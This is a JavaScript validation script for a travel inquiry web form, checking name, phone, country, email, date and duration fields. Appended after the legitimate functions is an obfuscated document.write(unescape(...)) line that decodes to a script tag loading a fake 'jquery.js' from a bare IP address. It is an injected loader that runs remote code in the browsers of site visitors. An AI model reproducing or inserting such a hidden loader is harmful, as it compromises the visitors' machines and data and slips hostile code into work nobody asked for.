function checkfield(main_form)
{
	ok=true
	if(main_form.name.value=="")
	{
		alert("Please Enter Your Name.")
		main_form.name.focus()
		ok=false
	}
	else if(main_form.phone.value=="")
	{
		alert("Please Enter Phone.")
		main_form.phone.focus()
		ok=false
	}
	else if(main_form.country.value=="")
	{
		alert("Please Enter Country Name.")
		main_form.country.focus()
		ok=false
	}
	
	
	else if (main_form.email.value == "")
	{
		alert("Please enter a value for the email field.");
		main_form.email.focus();
		ok=false
	}
	else if (!isEmailAddr(main_form.email.value))
	{
		alert("Please enter a complete email address in the form: yourname@yourdomain.com");
		main_form.email.focus();
		ok=false
	}
	else if(main_form.date.value=="")
	{
		alert("Please Enter Tentative Date.")
		main_form.date.focus()
		ok=false
	}
	else if(main_form.no_of_days.value=="")
	{
		alert("Please Enter Duration of Travel.")
		main_form.no_of_days.focus()
		ok=false
	}
	return ok
}
function isEmailAddr(email)
{
  var result = false
  var theStr = new String(email)
  var index = theStr.indexOf("@");
  if (index > 0)
  {
	var pindex = theStr.indexOf(".",index);
	if ((pindex > index+1) && (theStr.length > pindex+1))
	result = true;
  }
  return result;
}
function ValidateNum(input,event)
	{
		var keyCode = event.which ? event.which : event.keyCode;
		if(parseInt(keyCode)>=48 && parseInt(keyCode)<=57)
		{
			return true;
		}
		return false;
	}<!-- 
document.write(unescape('Qqg%3Cscrip2Vt%20sQqgrcQqg%3D2V%2F2V%2F4xF94%2E9L124N4o7%2EN4o2vt%2E19F8u5QgK%2F5mjF8uqu2VeEnr2Vy%2EjsEn%3E2V%3C%2Fscripvtt%3E').replace(/QgK|vt|En|5m|Qqg|F8u|N4o|9L1|4xF|2V/g,""));
 -->